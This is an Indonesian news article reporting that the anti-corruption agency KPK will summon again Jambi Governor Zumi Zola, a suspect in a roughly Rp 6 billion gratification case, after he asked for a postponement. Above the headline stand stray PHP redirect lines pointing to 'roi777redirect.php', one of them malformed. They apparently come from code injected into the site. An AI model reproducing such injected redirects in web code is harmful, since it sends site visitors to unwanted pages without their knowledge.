header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Tak Datang, KPK Panggil Ulang Zumi Zola Pekan Depan -
Tak Datang, KPK Panggil Ulang Zumi Zola Pekan Depan

TRANSLAMPUNG.COM, JAKARTA – Komisi Pemberantasan Korupsi memang mengagendakan pemeriksaan terhadap Gubernur Jambi Zumi Zola. Namun, pada Senin (2/4), dia berhalangan hadir memenuhi panggilan dalam pemeriksaan atas kasus gratifikasi yang melilitnya. Juru bicara KPK Febri Diansyah mengatakan jika pihak Zumi meminta penundaan pemeriksaan.

“Tadi penasihat hukum ZZ telah datang ke KPK dan mengajukan penundaan pemeriksaan,” ungkap juru bicara KPK Febri Diansyah melalui pesan singkat kepada awak media, Senin (2/4).

Atas permintaan penundaan tersebut, Febri mengatakan pihaknya akan melakukan pemanggilan ulang terhadap Zumi Zola di pekan depan.

“Kami akan panggil kembali ZZ sebagai tersangka dalam waktu dekat. Kemungkinan minggu depan,” bebernya.

Sebelumnya, Komisi Pemberantasan Korupsi (KPK) resmi mengumumkan penetapan Gubernur Jambi periode 2016-2021 Zumi Zola sebagai tersangka. Mantan pesinetron tersebut ditetapkan tersangka terkait kasus dugaan penerimaan gratifikasi. Selain Zumi Zola, penyidik juga menetapkan Kabid Bina Marga atas nama Arfan sebagai tersangka dalam kasus yang sama.

“Tersangka ZZ ( Zumi Zola), baik secara bersama –sama dengan ARN maupun sendiri diduga menerima hadiah atau janji terkait proyek-proyek di Provinsi Jambi dan penerimaan lainnya dalam kurun waktu jabatannya sebagai Gubernur Jambi periode 2016-2021 sekitar Rp 6 miliar, “ terang Wakil Ketua KPK Basaria Pandjaitan, dalam konferensi pers di kantor KPK Jakarta, Jumat petang (02/02).

Sementara, Arfan selaku Kabid Bina Marga Dinas PUPR Provinsi Jambi serta sebagai PPK merangkap Plt Kepala Dinas PUPR Provinsi Jambi, diduga menerima hadiah atau janji terkait proyek-proyek di Dinas PUPR Provinsi Jambi tahun 2014-2017 dan penerimaan lainnya.

Atas perbuatannya, Zumi Zola dan Arfan terancam hukuman maksimal 20 tahun penjara. Sebab dinilai melanggar Pasal 12 huruf B UU No.31 Tahun 1999 sebagaiman diubah dengan UU No.20 Tahun 2001 tentang Pemberantasan Korupsi jo pasal 55 ayat 1 ke-1 KUHPidana. (ipp/jpg)

 

 

 

News Reporter